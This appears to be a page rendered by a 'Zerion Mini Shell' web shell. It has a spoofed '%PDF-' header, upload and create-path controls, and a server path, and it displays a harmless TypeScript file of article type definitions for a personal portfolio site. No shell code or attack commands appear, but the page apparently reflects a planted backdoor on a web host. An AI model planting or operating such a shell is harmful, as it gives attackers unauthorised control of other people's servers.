%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/www/portfolio/portfolio-rezakurnia/src/lib/types/
Upload File :
Create Path :
Current File : //home2/rezakur1/www/portfolio/portfolio-rezakurnia/src/lib/types/articles.type.ts

/*
|--------------------------------------------------------------------------
| CONTENT
|--------------------------------------------------------------------------
*/
export type ArticleContent = string;

/*
|--------------------------------------------------------------------------
| BODY BLOCK
|--------------------------------------------------------------------------
*/
export type ArticleBodyBlock =
  | {
      type: "heading";
      id: string;
      title: string;
    }
  | {
      type: "paragraph";
      text: string;
    }
  | {
      type: "code";
      code: string;
      language?: string;
    };

/*
|--------------------------------------------------------------------------
| LENS 5W1H
|--------------------------------------------------------------------------
*/
export type ArticleLens = {
  siapa?: string;
  apa?: string;
  dimana?: string;
  kapan?: string;
  mengapa?: string;
  bagaimana?: string;
};

/*
|--------------------------------------------------------------------------
| RAW API (SESUAI RESPONSE BACKEND KAMU)
|--------------------------------------------------------------------------
*/
export type ArticleApi = {
  slug: string;
  title: string;
  excerpt: string;

  content: ArticleContent[];
  body: ArticleBodyBlock[];
  lens5w1h?: ArticleLens; 
  tags: ArticleTag[];

  date: string;
  readTime: string;
  category: string;
  coverImage: string;

  viewCount: number;
  meta_title?: string;
  meta_description?: string;
};

/*
|--------------------------------------------------------------------------
| CLEAN MODEL (UNTUK FE)
|--------------------------------------------------------------------------
*/
export type Article = {
  slug: string;
  title: string;
  excerpt: string;

  content: string[];
  body: ArticleBodyBlock[];
  lens5w1h?: ArticleLens; 
  tags: ArticleTag[];

  date: string;
  readTime: string;
  category: string;
  coverImage: string;

  viewCount: number; 
  meta_title?: string;
  meta_description?: string;
};

/*
|--------------------------------------------------------------------------
| RESPONSE WRAPPER
|--------------------------------------------------------------------------
*/
export type ArticleResponse = {
  status: string;
  data: ArticleApi[];
};

export type ArticleTag = {
  id: number;
  name: string;
};

Zerion Mini Shell 1.0